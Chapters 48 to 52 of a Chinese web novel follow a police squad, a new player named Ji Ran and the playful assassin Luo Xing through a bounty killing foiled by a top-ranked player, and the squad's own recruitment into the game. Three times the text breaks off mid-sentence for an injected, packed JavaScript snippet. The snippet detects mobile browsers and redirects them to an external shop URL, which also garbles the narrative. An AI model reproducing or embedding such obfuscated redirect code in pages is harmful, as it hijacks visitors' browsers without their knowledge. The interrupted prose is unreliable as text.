“小萌新,任务完成了没,是不是已经收到了奖励道具?”骆星不顾前面两名警察的死亡视线,试图用手指勾起纪然的发梢把玩。 纪然往旁边退了点,微微皱眉道:“你居然真的来了。” “你们都在这里,那我当然要来看你们喽。不过最令人心动的是,你在这里。”骆星眉含情脉脉地看过来。他的眼睛并不是纯粹的黑色,而是夜色下广袤无垠的海,于细碎星光中翻涌起一抹幽蓝,引着人不由自主地向更深处探寻。 “这个送给你。”他的手中突然变戏法般地出现了一支娇艳的玫瑰花,递给纪然。那支玫瑰娇艳欲滴,花瓣上还挂着晶莹的露珠,仿佛刚刚从花园里摘下来一般。 宋承与肖羽没有轻举妄动,担心这人又会升起结界隔开他们。正准备开口与他周旋,防止他突然伤到旁边的纪然,就见他手中的动作一变。 骆星把玫瑰递到纪然面前,却突然又收回手,像是突然想到什么,略带可惜地说:“这么多棘刺,要是扎伤了你就不好了。” 说罢,他单手两指捏着折断了花枝,那支娇艳欲滴的玫瑰,在他手中瞬间失去了生机。 原本看着眼前的花还在犹豫接不接的纪然,见到他的这个举动,愣住了。面对着这个神秘的老玩家,仿佛他指尖折断的不是花枝,而是自己脆弱的生命似的。 “看来玫瑰不合适,下次给你找个更好看的。”骆星把手中断掉的花随意地一抛,失去生命的玫瑰从空中坠下,划过一道弧线,转瞬间化作点点星光,消散在阳光中,不留一丝痕迹。 49. 他的悬赏任务 “你还是要杀她吗?”宋承沉声问道,慢慢地靠近骆星。 “别这么警惕地看着我,”骆星笑了,“我只是按照雇主的要求完成任务罢了。毕竟警察叔叔们又没有正确对待我们这些玩家的手段。” 在骆星说话时注意力不在这边,纪然看出宋承的意图,于是一把抓住骆星的手腕。温热的触感从手指下传来,她不动声色地收紧了手指,唯恐这人又突然消失。 感受到奇怪的触碰感,骆星低头看向自己被抓住的左手腕,挑了挑眉。他笑得意味不明,语气暧昧道:“你这是想阻拦我,还是想亲近我?” 他故意压低嗓音,如同传说中七宗罪之一的恶魔阿斯莫德在耳边低语,诱使人沉溺于欲望的深渊。 “这并不冲突吧?”纪然丝毫不惧地与他对上视线,“起码之前你故意驾车来撞我们,引发了一场车祸,结果你‘畏罪潜逃’,这件事我们还没算完。” 纪然无意卷入这个人与季然之间的立场纷争。季然对她的陷害,后续自有法律来审判。而这人当初自愿接的悬赏去杀季然,把人命当游戏,现在还没动手可能是自信,不认为他们能对他造成什么麻烦。 一个人的生命在悬赏下仿佛变成了一串冰冷的数字。这个念头冒出来的时候,纪然被自己吓了一跳,心底生出一种古怪的感觉。 她清楚规则,却又似乎下意识地排斥,仿佛本能里有两种力量纠缠在一起,向相反的方向拉扯她的理智。 关于悬赏的事已经发生,虽然不记得自己之前是个什么样的人,就目前而言,这两人无论是谁死谁活,对她来说其实并没有什么区别。总归是两个有过矛盾的陌生人,一个陷害她,一个追杀过她。 而且警方帮了她这么多,她并非是一个无动于衷的人。他们想阻拦他,那能帮就帮吧。不管是游戏方面还是之前车祸遗留问题,这个人都是现在他们能接触到的知情者,纪然不可能眼睁睁看着他再次离开。 至于会不会陷入危险,从她几次观察下来,这人很喜欢看乐子:之前明明能够动用道具从他们手中逃走,但是他依旧陪着他们闲聊了这么久。现在,看着他眼底藏着的兴奋,她赌这个人现在不打算反抗。 “噢,这个啊,这件事我不反驳。你要是觉得不解气,可以打我一顿,我不反抗,怎么样?”骆星微微倾身,将上半身靠近纪然。他越过了社交安全距离,右手再次勾起她的头发,满眼深情款款。 “谢谢,但我不认为子有能力打破你的结界,对你造成任何伤害,”纪然拽回自己的头发,问道,“你要在警察的重重包围下去杀她?” 在他们谈话间,外面已经不知不觉多了不少警察,包围住了这个不大的休息室。宋承和肖羽也来到纪然边上,试图直接抓住骆星。 他没有回答这个问题,而是举起被纪然抓住的左手,两眼弯弯:“你觉得我们两是谁抓谁呢?” 一句话说罢,宋承和肖羽面色突变,只见骆星用另一只手迅速掐向纪然的脖子。宋承厉声喝道:“在这些事里她是无辜的,你若是需要人质,我来换她,你别伤害她。” 纪然被骆星带着起身,面对着宋承他们。她微微一愣,眼睫轻颤,露出一丝意外之色。作为转瞬间就被当成人质的纪然,纤细的脖子被一只骨节分明的手笼罩,然而事实上,那只手并未真正触碰到她的皮肤。 “你看看我作为一个老玩家多可亲啊,又是给妹妹你科普副本内容又是送道具,但是小妹妹你呢?我来杀人你还阻拦我。”骆星低下头,从身后凑到纪然耳边低语,声音中带着几分亲昵,姿态暧昧。 温热的气息轻轻拂过她的耳畔,一刹那间浑身激起了鸡皮疙瘩,打了个颤。 “再靠近我就不客气了哦~”骆星察觉到有人靠近,抬起头悠哉地吐出这几个字,令靠得最近的宋承停下了动作,随后骆星欣赏着眼前这些警察们脸上如临大敌的神情。 “你做这一切都是为了好玩吗?”纪然偏过头问道。即便被当成了人质,也并没有慌乱,毕竟身后这人压根就没有碰到她。只需要稍微挣扎一下,就能轻而易举地逃开。 “你看他们的样子,不觉得很有趣吗?”骆星的声音里充满了愉悦,“你说,这个时候我让他们全都动弹不得,眼睁睁看着我杀死任务目标会怎么样?” “你真是个疯子。”纪然简洁地总结出这几个字。面对这位拥有无数稀奇古怪道具的老玩家,她感到了前所未有的无力感。在现有的道具中,似乎没有一样能够阻止他。 骆星轻笑了一声,语气中带着一丝玩味和自嘲:“谢谢,这个称呼我收下了。不过,进了这个游戏,哪还有几个正常人。我这算什么,等你见到排行榜上那些顶尖大佬,你就会明白什么才是真正的疯子。” “你不需要人质,所以能放开我了吗?”纪然不想因为自己而让警方受限于人,特别是宋承和肖羽看过来的担忧眼神,她心里翻滚出几分道不清说不明的感觉。 “好嘛,那你一边玩去吧,乖~”骆星松开手,顺便轻轻拍了一下纪然的头。 “……”纪然在一瞬间捏紧了笔记本。 走到宋承边上,她发现了不对劲之处,迟疑地说:“你们,动不了了?” 宋承保持着半抬起手的姿势,微微转动了他的眼睛,深邃的瞳孔直直地凝视着纪然,眼神中蕴含着复杂的情绪。纪然皱着眉,看不懂他的眼神,抿了抿唇后扭头问:“你真把他们都定住了?” 只见骆星凭空变出一个类似于罗盘一样的东西,拿在手里盯着上面的指针,整个人在原地转了一圈,招呼纪然:“走,带你见识下怎么做悬赏任务。” ??? 纪然被他一把扯住,直接拉着往门外走。挤在前面穿着作战服的警察们眼里满是不敢置信,身体却僵硬得像网络延迟过千,一卡一卡地让出一条路,然后跟在他们后面。 顺着手中道具的指引,骆星拉着纪然一路来到一扇门前。他收起道具,摸了摸下巴,眼神有片刻放空,紧接着他手中出现一把钥匙。 “幸好我有一把万.能.钥.匙。”他笑得有几分得意,捏着钥匙直接对着锁孔一转,咔哒声响起。门开了。 房间里站了很多个手持武器的警察,一个个目光都紧盯着他们,却丝毫动弹不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179134|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。在重重包围中间,季然听到开门声,抬起了头。 在几分钟前,这个房间里的所有人,除了她以外都动不了。这种恐怖的异常现象让季然心跳加快,有种不好的预感。 她的视线先是落在纪然身上,随后才看向旁边的骆星,仿佛察觉到了什么,略带不安地问:“是你做的?” “真聪明,那你再猜猜我会不会杀你?”骆星的手中再次神奇地出现一叠卡牌,手指轻巧地一搓,十几张卡牌晃眼间在他手中展开,形成一把扇形的牌阵,“来吧,选一张,决定你的游戏结局。” “对待女士,我总是格外温柔。”他自我肯定道,后知后觉地、优雅地行了个绅士礼,走近季然,邀请她做出选择。 季然蹙眉,目光在扇形的牌阵上扫过,每一张卡牌都背对着她,似乎隐藏着未知的命运。她不想选择,又问:“我不认识你,为什么要杀我?” “生活总是这样处处充满惊喜,习惯就好。”骆星露齿一笑,再次把卡牌凑近她,语气中带着不容置疑,“选择吧,女士。” 站在骆星旁边的纪然能清楚地看到卡牌上的内容,一共十四张卡牌,每一张上面显示出一种死亡方式。纪然扯了扯被骆星抓住的手腕,试图阻拦他的行为,语气凝重:“一定要杀人吗?” “不用你出手,好好看着就行。”骆星故意歪解纪然的意思,手指用了点力抓紧,纪然忍不住拧眉。 “我的小命可跟她挂在一起呢,你忍心见我去死吗?”骆星嘴上跟纪然说着话,眼睛却打量着季然,“也是个漂亮的小妹妹呢,仔细想想杀掉还挺可惜的……我还没玩够呢,暂时不想丢掉自己的小命,所以只能请她配合一下咯。” 用玩笑般的口吻轻描淡写地谈论着生死大事,他的话语中透露出的轻佻与冷漠让在场的每个人——除了骆星本人——心底都不由得涌上一股寒意。这种对生命轻视的态度,让每个人的神经都紧绷到了极点。 在骆星那充满玩味又带着压迫感的目光催促下,季然不禁慌乱起来,几乎是不假思索地随便抽取了一张卡牌。纪然目睹了季然的选择,她的嘴唇微微动了动,似乎想要说些什么,但最终她选择了沉默。 那张卡牌的图案上,是一把小刀插在了心脏上,鲜血淋漓。 季然缓缓翻转卡牌,当正面的图案映入眼帘时,她的眼神在那一刻变得异常复杂。她的目光不由自主地投向了纪然,心中涌起一股难以言说的讽刺感。 手指微动间,骆星收起剩下的卡牌,手中多出一把小刀。他嘴角的笑容弧度扩大,眉眼含笑:“哎呀,看来你已经做好了选择。” 他松开纪然的手,一步直接跨到季然前面。季然想躲开,身体却突然动不了,只能惊慌失措地看着越来越近的刀尖。 纪然也陷入了一种无法动弹的状态,全身上下只有眼珠还能转动。她睁大了眼睛,目睹了这起近距离即将到来的杀人事件。那压抑的气氛和季然脸上惊恐的神色,给她带来了极大的心理冲击。这一刻,她感受到了前所未有的震撼。 “铛!” 匕首被突然飞出的一把折扇击落在地。 50. C级世界 随着匕首落地发出一声脆响,折扇绕了个弯飞回了来时的方向。 骆星捏着发麻的右手,顷刻间眼睛微眯,冷冷地扭头望过去,面上顿时浮现出一抹惊愕。不同于往日嬉皮笑脸的假相,在这顷刻之间,他脸上的表情真实许多。 折扇在虚空中撕开了一道看不见的裂隙,一只骨节分明如同被雕刻出来的手缓缓凝实。那只手牢牢接住折扇,高大的身影从虚空中走出。 空间有限的房间显出几分逼仄。来人身着一套洁白无瑕的西装,从精致的领口到笔挺的裤脚,每一个细节都流露出一种严谨而优雅的气质。 乌黑的长发被一丝不苟地束于脑后,他的面容透露出温和的气质,宛如古代的翩翩君子。白衣如雪,鹤骨松姿,当称得上一句“公子世无双”。 随着折扇“嗖啪”一声合上,纪然下意识动了动手指,发现自己原本停滞的身体能够动弹了。与此同时季然也在意识到重新获得身体控制权的时候,飞快后退,拉开和骆星之间的距离。 “怎可对姑娘家这般粗鲁?”那人遥遥看过来,声音柔和而富有磁性,然而在那温和的目光中,却隐含着一股不容小觑的威严,彰显着他不凡的气度。 骆星没有回答,反而舔了舔自己的上颚,浑身肌肉紧绷,平日总是带着三分笑意的眼里此时满是凝重。 “悬赏取消。”那人也不在意回答,没多说什么,冲季然晃了晃手里的折扇。 季然看见来人,说不上来是一种怎样的感觉,但悬着的心并未放下。她慢慢走向那人,完全没想到他还会来救自己。 对于被警方逮捕,季然并未表现出过多的担忧。即使面临认罪后的牢狱之灾,她也没有感到害怕。毕竟只要她愿意,随时都可以通过匹配进入副本,只要能活着出来,她就有新的道具能逃出去。 自从成为那种恐怖游戏的玩家后,她的生活便彻底颠覆了。普通人与玩家之间仿佛存在着一道难以打破的壁垒,将两个世界彻底分隔开来。只是没想到,危险竟然会降临到自己的原始世界中。在这个和平的年代里,警局本应是安全的避风港,却没想到会有人胆敢闯入其中行凶。 现在被他救了,但复仇的火焰仍在她心中熊熊燃烧,推动着她不断前行。只要能活下去,就能为哥哥报仇,她必须活着通关副本,学会与人周旋,努力成长起来。 然后……杀掉这个真凶。 季然垂下眼,没有再看这个白衣人。在经过几名警察的身边时,她开口说了一句话:“若是你们警察真的能带来公平,就去查查周林,他迫害了我十几年,他家里或许还留有证据。” 走到那人身边,他轻轻地把扇子往她肩上一搭,眨眼间两人就一同消失在房间里。 直到他们离去,屋里众人才缓缓松了口气,凝滞的氛围再次流动。而骆星原本紧绷的肩膀也随之放松下来。 “你在怕他?”纪然在骆星边上看见了全部过程。令这样一个老玩家都如临大敌害怕的人,那人该有多恐怖。 “喏,排行榜上的都是疯子。别看他一副温文儒雅的君子模样就认为他是个好人,实际上这种人最深藏不露,心思比谁都毒。”骆星难得说几句掏心窝子的话,要不是怕被听到,他都能骂起来。 “所以他是谁?”纪然不置可否,反正她只是个新人玩家,这种榜上有名的人物对她而言实在是遥不可及。她知道自己还远远没有达到那个阶段,对于这些强者的评价和看法,她选择保持沉默,不予置评。 “他啊,反正都见到了,也没什么不能说的了。”骆星捡起地上的小刀和卡牌,收回玩家背包里,“他就是下悬赏的人,在各个榜单上都位列前茅。” 总感觉这人现在正常了许多,都不口嗨什么了。 纪然看出此时的骆星比之前要好说话得多,可能也许大概似乎是受惊吓后遗症?总而言之,她趁着现在骆星的特殊状态,悄悄套话,若有若无地把话题往自己想知道的内容上引。 “下悬赏的人?”纪然故作好奇地问。 闻言,骆星瞥了她一眼,转瞬间他似乎意识到了什么,很快挑了下眉,眸中迅速掠过一抹了然的笑。 “如果你们要找的人是他的话,”见这里没什么好玩的,骆星带着浩浩荡荡一群人又回到休息室,边走边说,“他全名叫沈玄翊,是个不折不扣的疯子,各种意义上的疯子。怎么说呢……” “我们玩家有等级划分,这通常是基于你们各自所在世界的等级来定的。”骆星指了指纪然,然后继续说,“对于像你这样的新玩家来说,在完成第一个副本后,就会解锁等级系统,并且初始等级将从C级起步。” 纪然问:“有没有人初始等级就是最高级?” 他耸肩摊手,继续说道:“等级设置从最低的E级开始,到最高的SS级。理论上存在3S级,但据我所知,至今还没有玩家能够达到那个层次,我也没见过。” 回到休息室,骆星解除了道具的群控效果,升起结界后往椅子上一瘫,感慨般说:“还是你们好啊,打不过我。” “……”谢邀,并不是很想要这种夸赞。 同样见证了全部过程的警察们在恢复行动后,对着已经升起结界的骆星无可奈何。宋承冷着脸,安排一些勘察警去周林家再次检查一遍,着重点检查电子设备和U盘光盘之类容易保存证据的东西。 肖羽开着录音设备在旁边默默偷听,宋承则在写完报告后去找局长汇报。他们需要针对特殊玩家这类人制定出全新的规划方案。虽然骆星之前提到玩家不得对普通人用道具进行直接伤害,但在实际操作中,却存在着诸多可以钻的漏洞。 更重要的是防止如第九系列凶杀案类似的案件再次发生。还有比如身为普通人,他们该怎么应对携带特殊道具、心怀恶意的玩家。第九系列凶杀案的真凶已经浮出水面,但目前他们缺乏有效的手段来将这些罪犯绳之以法,这些都是亟待解决的问题。 “世界等级的划分也是类似的,”骆星瘫在椅子上,继续解释道,“沈玄翊的初始世界等级就是S级。他的起点很高,但相应的,升级难度也更大,所以目前他的等级是S+。仅仅是S级与你们C级之间的差距,就如同天堑一般,难以逾越。” 他来这个世界旅行玩了几个月,基本也摸清了这个世界的规则:“打个比方,这种差距就像是你们世界中的一个乞丐,与世界首富之间的悬殊对比。” “那他岂不是无敌了?”纪然问道。 骆星撇嘴:“那倒不是,排行榜上还是有不少大佬的。不过目前还没人升到SS,最高就是S+,沈玄翊排在总战力榜前十。” 话毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179135|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纪然若有所思。而骆星止住话茬,意有所指笑道:“呀,小妹妹学坏了,开始会套话了。” 被人戳破行为,纪然面色一僵,骆星满意得看着纪然微僵的表情。 虽说他并不在意这个小新人的套话,毕竟就算他无意识透露出来的信息,也只是进去游戏世界之后,稍微用点心思就能获得的通用消息。对于新人而言,只不过是早知道和晚知道的区别。 不过这种套话的行为还是得制止一下。他玩别人就很有意思,可他并不希望自己被别人玩。 见纪然盯着自己,骆星逗够了人,良心大发难得安慰一句:“放心吧小新人,沈玄翊有个原则,就是从不杀女人。所以当他要对付某个女性目标时,他就会发布悬赏。基本上看到悬赏发布人是姓沈的,悬赏目标又是女性时,十有八九都是他。” “……被他直接杀死和被接悬赏的人杀死,有什么区别吗?”纪然吐槽式问了一句。 “那当然,差距可大了,”骆星跟把这里当自己家似的,给自己倒了杯水,“对我来说,被他追杀是活不过一秒的,灵魂还有可能被抽出来虐待;但如果是被其他玩家追杀,我还能有反抗之力,也没几个人会那么无聊抽别人灵魂玩。” “所以他跟那个季然有什么关系?为什么要杀她?”纪然和肖羽都很不解,如他所说,季然是个C级玩家的话,怎么会碰到S+的大佬,还闹出悬赏人命的事。 还有更重要的一点,肖羽突然插话:“他为什么要来我们世界杀人?”第九系列凶杀案死了好几个人,好多被杀的都是与前一个死者行动轨迹吻合,最有可能是第一目击者的人。 难道是看到沈玄翊在杀人,被他发现之后灭口了? 如果这么说的话,季然岂不是也是看到他的杀人现场,然后被下了悬赏? 这么一想,沈玄翊的行为确实合乎逻辑:他首先利用自己的特殊能力随机杀害一名目击者,随后,每当有人目击到这一幕,他便接连不断地将这些目击者杀害,直至遇到季铭和季然。由于他有不杀害女性的原则,沈玄翊对季然发布了悬赏。 而季然进入无限游戏后,获得了道具,并利用纪然作为替死鬼来逃避追杀。结果,原本应该追杀季然的玩家被误导,转而追杀纪然。正巧纪然也是个玩家,靠道具活了下来,选择了报警,他们才能摸清真相。 虽然不清楚沈玄翊为什么要杀人,但是听骆星的描述,对这么个疯子般的强者而言,或许人命在他眼里只是一串积分吧。 骆星耸了耸肩,没有回答这个问题。看他们的表情,似乎已经有答案。 下午三点多,骆星的身影早已消失。警方在周林的住所搜出几个U盘,里面存储了大量周林个人拍摄的有关季然的不雅视频,视频中还多次出现了季铭的身影。 这些触目惊心的视频引起了警方的高度警觉,他们随即对周林的电脑进行了彻底的检查。技术团队经过努力破解,发现了一个隐藏的网站,该网站上充斥着类似偷拍性质的视频。 警方依据这一线索深入调查,连续查封了多个相关网站,并逮捕了一批涉案的犯罪分子。故此,周林涉嫌非法传播涩情视频并且获得谋利、强迫未成年、侵犯他人肖像权隐私权、肆意上传视频。周林所犯罪行的数量和严重性,依法数罪并罚,牢底得坐穿了。 51. 尾声 关于季然家中床底下发现的血迹,周林已经供认不讳。结合U盘中存储的视频资料,警方找到了周林当时所拍摄的现场录像。 在季然的房间内,根据视频的拍摄角度判断,周林将手机置于上衣胸口的口袋中,摄像头朝向外部。 视频中出现了一双手粗暴地控制住季然。在周林一连串的辱骂之后,季铭的声音介入,中断了他的言辞。季然在多次恳求未果后,一个人在那默默流泪。 周林和季铭一同将床侧翻,将季然推向床的另一侧,并声称这只是给她一个教训,希望她今后能更守规矩。之后,他们将床放回原位,季然一个人在床底,无声无光。 狭小的空间漆黑一片,压抑的环境无限放大着人心底最深的恐惧。她感到窒息般的压抑,试图挣扎,试图呼救,但周围却只有死寂般的沉默。理智正在一点点丧失,孤独感压迫着她的心灵,让她感到无助和惊慌。 在视频剪辑的快进效果下,一天的时间被压缩,但季然的呼救声却依旧清晰可闻。床底传来的挠木板声和踹击声,每一次重复都像是季然无声地哀嚎,她的绝望与痛苦随着这些声音穿透屏幕,深深地烙印在因查线索而看翻查视频的警察心中。 无数罪证,周林无可逃避。他承认了自己之前在警方询问时,因为季然的反抗,他怀恨在心,故意往她身上泼脏水。那张纸条是季铭在被讨债人逼迫时,无意中被塞进口袋的。 周林知道季铭在外面借了点钱,每个月又去找季然要钱。而前段时间季然说自己从楼梯上摔下去,需要一笔钱去医院治疗,找季铭要回了一部分。虽然他不清楚是真是假,但这不妨碍他抹黑季然的名声。 幸好,这一切都被翻出来了。跨越了十一二年的持续性迫害,在这一天,在警方的介入下迎来了终结。 日落月升,黑夜悄然而至,温柔地取代了白日的光芒。经过一天的劳累,纪然在叶柯的宿舍中沉沉睡去。 天幕之上繁星点点,而在天边,破晓的第一缕曙光穿透了云层,预示着新一天的来临。 第四天的早晨,按照她最近几天养成的生物钟,纪然准时醒来。恍惚间只觉得眼前的景象异常熟悉,从椅子上挂着的外套中摸出身份卡,右下角的倒计时早已消失。 纪然没有吵醒还在熟睡的叶柯,轻手轻脚地清洗完后,独自坐在椅子上翻看着自己的笔记本,复盘之前发生的所有事。尽管只是短短的三天时间,但对纪然而言,却感觉像是过去了许久。 直到床上传来了响动,纪然抬头看去,叶柯正捂着肚子坐起身。两人的目光在那一刻交汇,叶柯显得有些迷茫,但很快便揉了揉眼睛,恢复了清醒:“等很久了吗?” “没有,我也刚醒不久。”纪然回答。 透过窗户,一束透亮的阳光洒进这个布置得温馨舒适的小房间,为屋内增添了一抹明亮的生活气息,看着就让人充满精神活力。 “你稍微等我一下。”叶柯拿着衣服进了卫生间,五六分钟后洗漱完毕穿戴整齐地走出来。 叶柯看了眼时间,发现已经过了上午十点,思索了一下便提议:“这个点食堂没早饭了,等下我们出去吃吧。” “我都可以的。”纪然轻轻合上笔记本,站起身来,穿上一件薄外套,随后与叶柯一同走出了宿舍。两人并肩走出宿舍楼,沿着小路来到了一家风格温馨的小饭馆门前。 透过擦得透亮的玻璃大门,可以望见里面已经坐了好几个熟悉的面孔——穿着常服的第一小队的众人。 肖羽最先看到她们,他眉头舒展,眼中闪烁着愉悦的光芒,笑容爽朗地举起手中的豆浆,向她们做出了一个干杯的动作。李新咏咽下一口小笼包,抬眼凝眸,嘴角轻轻扬起,报以一个温和的微笑。 宋承察觉到肖羽的举动,转过头来,目光落在门外两人身上,眉宇舒畅,点了点头打招呼。乔云深一边咀嚼着食物,一边跟随宋承的视线转过头来,手里还拿着半根油条,他挥手示意,笑起来脸上还有酒窝。 如金色般灿烂的阳光明丽,洒在这条街上赋予它无限生机。天空呈现深邃的蔚蓝色,在清澈透亮中被点缀上轻盈如棉絮的白云。洒水车经过,留下的湿润路面在阳光下闪烁着晶莹的光泽。 街道两旁,行人渐渐多了起来,他们或匆忙或悠闲地穿行其间,地面上的影子随着他们的移动而被拉长,交错重叠,形成了一幅幅有趣的光影画面,像穿行于异空间似的。 纪然和叶柯一同走进这幅平凡而美好的景象中,被这充满生活气息的画面所包围,成为其中的一部分。 即便倒计时已经消失,时间却依旧在秒针那细微的滴答声中,悄无声息地滑过。 第九系列凶杀案始终悬而未决,尽管警方已经锁定了真凶的身份,但由于缺乏有效手段应对拥有特殊能力的玩家,沈玄翊依旧逍遥法外。季然也如同人间蒸发,两者的踪迹难以寻觅。 警方目前接触到的玩家里,除了来无影去无踪的骆星外,只有个还是游戏新人的纪然。 面对如此局面,警方在征询了纪然的意见后,向她承诺,在国家范围内,将提供一切可能的协助。他们寄希望于纪然能够迅速成长,即便最终无法将真凶绳之以法,也要阻止那些心怀恶意的玩家在这个世界中造成更多的伤害和杀戮。 纪然本身对这些没什么兴趣,但跟着第一小队在一周里又侦破了几起凶杀案件后,她逐渐对生命和死亡有了新的理解。在警方的多次邀请下,最终答应了与他们合作。基于此,一个全新的特殊机构得以成立,目前仅由经验丰富的第一小队五人和玩家纪然共同组成。 现实与无限游戏特殊监管局——又叫超自然现象监管局(Supernatural Phenomena Regulation Bureau)。由于其团队成员仅有六人,他们内部通常简称其为SP部门。 这个新兴的特殊部门尚未全面启动其运作,仅在遇到涉及超自然或特殊现象的案件时才会出动。在没有特殊案件发生时,第一小队的成员们仍旧履行着他们作为刑警的常规职责。 而纪然拿着新鲜出炉的身份证和户口证明,成功在这个世界落了户。趁着还没开始投入工作,在第一小队的指点下开始锻炼体能,并疯狂学习各种求生技能。力求在无限游戏的复杂环境中,能够具备更强的适应力和生存能力。 时间就这么一天天过去,纪然时不时跟着第一小队一起出任务刷经验值。经过这段时间的锻炼,她的身体素质有了显著的提升,与两三周前的自己相比,简直是天壤之别。 时光飞逝,转眼已是六月一日。之前跳出来的系统提示上说是每个月1号的上午九点整进本,现在时间已经来到了八点。纪然待在自己家里,一切准备就绪,正静静地享用着早餐。 警局大厅内,晨光透过玻璃窗洒在地面上,映照出一片明亮。第一小队的几人陆陆续续地打卡上班。 今天肖羽起得有些晚,进警局大厅时,前台工作人员提醒有第一小队的快递。他们买东西都喜欢填警局地址,最近他买的新键盘好像到了,正好今天用新键盘去写报告。 肖羽连同其他队友的快递一起拿了,大包小包抱着回到第一小队的办公区。 靠近队长的办公室时,里面传来噼里啪啦敲键盘的声音。队长宋承正对着电脑屏幕拧眉,时不时翻动桌上的几页资料,滑动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179136|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼠标打开网页搜索,然后汇总信息组织语言继续撰写报告。 “队长,有你的快递。”肖羽拿着一堆快递过来敲了敲门,然后走进来把其中一个快递信封放他办公桌上。 “谁给我寄来的?”宋承停下动作,有些疑惑。最近他并没有网购东西,也没有需要签收的纸质文件,怎么会有快递? 宋承边在脑海中思索着可能的情况,边拿起快递信封看上面的快递单子——寄件人那一栏是空白的。 他正想问问肖羽在拿快递时有没有注意到什么异常情况,抬眼一看,对方已经走远了。 “李哥,你的快递我帮你拿来了。”肖羽走到另一边门口打了声招呼。 李新咏举着小型洒水壶,正在给窗台上的盆栽浇水。阳光下,细密的水珠从上而降,滴滴答答落在每一处茎叶上,水珠顺着绿叶滑下,低落进泥土里。 听到声音,他放下洒水壶,擦了擦手,走过去接过了两份快递:“谢谢。” 在拆开购买的小花盆时,李新咏手上动作一顿——他最近只买了一个花盆。于是目光就落在了第二份快递上,那是一份寄文件时用的快递信封包装。 “哗——” 办公室内,借着上午暖亮的光线,叶柯靠坐在窗户边翻看着之前肖羽推荐的小说,白净的手指时不时翻开下一页。遇到有趣的情节时,线条柔和的脸上露出清浅笑意。 肖羽抱着快递走进来时,看到的就是这么一副画面,心脏不受控制地漏了半拍。他轻轻吐出一口气,回过神后如往常一般打招呼:“小柯,早啊。” “早上好,”叶柯拿起手边的金丝缕空叶状的书签,轻轻夹在书页中,然后合上书本。看着肖羽手上的东西,她了然地从他手里接过快递,“谢谢啦,又麻烦你帮我拿快递。” “跟我客气什么啊,”肖羽笑道,“话说你这次又是买了什么呢?” “应该是我买的画纸到了。”她眼带笑意,用美工刀拆开快递袋子,取出里面的画纸放在桌上。然而,当她看到另一份快递时眼里闪过疑惑,刚想问肖羽是不是拿错了别人的快递,就发现那家伙已经走了。 “还真是风风火火啊。”叶柯轻笑着摇了摇头,仔细研究了一下,却发现快递上正好写着她的名字,是谁给她寄了文件吗? 还剩下乔云深的快递没送过去,肖羽正准备去法医室找他,路过休息室时听到里面传来吃薯片时发出的咔咔声。肖羽脚步一顿,转身走进去一看,果真又是这个嘴上说着零食对身体不好实际上自己并没有少吃的乔云深。 今天的乔云深没有待在法医室里,而是选择了在休息室里偷得浮生半日闲。他坐在角落里,享受着难得的闲暇时光,一边品尝着零食,一边观看着视频。肖羽进来的时候,他手机上播放的医学讲座视频正讲到最激昂的时候。 肖羽没有打断他,把快递信封放他面前的桌上,轻声提醒道:“你的快递放这了,别忘了拿。 乔云深点点头,沉迷视频完全没有抬头的意思,嘴里喊着零食含糊着道谢。 肖羽笑着摇了摇头,没说话转身离开。 等乔云深看完这最后十分钟的讲座视频后,才拿起桌上的快递,没有过多地关注快递的外观,直接撕开了包装。 在一番友好互助贯彻相亲相爱原则的肖·热心·快递派送员·羽,回到自己办公室后,从快递箱里取出新键盘,才反应过来自己的快递里混入了一个奇怪的东西。 拆开后的里面是一张黑金色的纸质烫金贺卡,肖羽吐槽了一句:“这年头还有人寄贺卡呢?” 只见黑色贺卡外包装上写着一行字—— 欢迎加入我们! 52. 进本前准备 警局里的几人在拆开快递后见到一张颇为熟悉的黑卡,一时间心情有些复杂。这个神秘的无限游戏,也选中他们了吗? 肖羽拿着卡,急匆匆地冲向队长的办公室。其他三人已经聚集在那里,每个人的手中都拿着一张黑卡——象征着玩家身份的神秘卡片。 五个人面面相觑,空气中弥漫着一种难以言说的压抑感。 其实在成立SP部门时他们就做好了这种心理准备,即便早就知道无限游戏会随机挑选玩家。只是,当这个“随机”真的降临到他们头上,而且是整个小队无一幸免时,那种心理准备似乎显得有些苍白。 宋承和李新咏以及肖羽三人还好,都是训练过的,但对于身体素质一般的叶柯和乔云深来说,去那些危险的副本里,一旦他们分开,后果将难以预料。 不过,也幸好是选中了他们。 六月伊始,金乌临空,光照大地。 纪然吃完早餐后开始收拾背包,把这几天整理出来的感觉有用的东西往包里塞。虽然说还不清楚副本传送后能不能把现实里的东西一起带过去,但万一呢? 